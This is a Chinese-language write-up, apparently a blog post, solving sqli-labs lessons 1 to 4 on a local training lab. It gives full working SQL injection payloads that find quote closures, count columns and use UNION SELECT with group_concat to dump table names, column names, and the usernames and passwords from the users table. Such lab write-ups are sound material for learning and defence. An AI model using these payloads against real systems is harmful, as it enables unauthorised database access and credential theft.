sqli-labs lesson1-4

本文详细介绍了如何通过SQL注入攻击获取数据库信息,包括不同类型的注入(字符型和数字型)、闭合方式、使用union select进行列数判断、回显判断、数据库名及表名的获取、列名爆破以及最终的数据查询。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

lesson1

首先输入id
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=1
在这里插入图片描述

之后加个单引号,会报错,应该是没闭合,字符型
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=1
在这里插入图片描述

http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=1’ and 1=1; %23
在这里插入图片描述
然后order by 判断列数为3
之后判断回显数,发现2,3有回显
http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=0’ union select 1,2,3; %23
在这里插入图片描述

http://127.0.0.1/SQl/sqli-labs-master/Less-1/?id=0’ union select 1,database(),3; %23查出数据库名security
在这里插入图片描述

?id=0’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’; %23如果直接查的话只会显示一个表
在这里插入图片描述

用 group_concat()函数将表名拼接成一个字符串

?id=0’ union select 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema=‘security’; %23
在这里插入图片描述

爆列
?id=0’ union select 1,(select group_concat(column_name)),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’; %23
在这里插入图片描述

查username,password
?id=0’ union select 1,(select group_concat(username)),(select group_concat(password)) from users ; %23
在这里插入图片描述

lesson2

lesson2和lesson1的区别是1是字符型需要闭合
而2是数字型不需要闭合
可以在两个lesson的index.php里看到区别
lesson1
在这里插入图片描述
lesson2
在这里插入图片描述
字符型‘id’需要考虑单引号闭合
id=0’ union xxxxxxx; #
而数字型不需要闭合
直接id=0 union xxxxxxx; #
具体语句参考lesson1

lesson3

直接?id=1’看报错
near ‘‘1’’) LIMIT 0,1’
在这里插入图片描述

猜想查询语句里是这样的 (‘id’)
看了眼源码,跟猜想的一样
在这里插入图片描述
就很好构造了
?id=0’) union XXXXXX; #
具体语句参考lesson1
在这里插入图片描述

lesson4

这道题吧
最开始试了?id=1’ ?id=1’) ?id=1)都没用
后来试到?id=1"有了报错
在这里插入图片描述
猜想查询语句里是这样的 (“id”)
看源码
在这里插入图片描述
(id)???不对啊
在细看发现上边的这句
$id = ‘"’ . $id . ‘"’;给id两边加了双引号
. 在php中是连接符,相当于pyton里的+
于是构造
?id=0") union XXXXXX; #
具体语句参考lesson1
最后查询语句?id=0") union select 1,(select group_concat(username)),(select group_concat(password)) from users ; %23
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值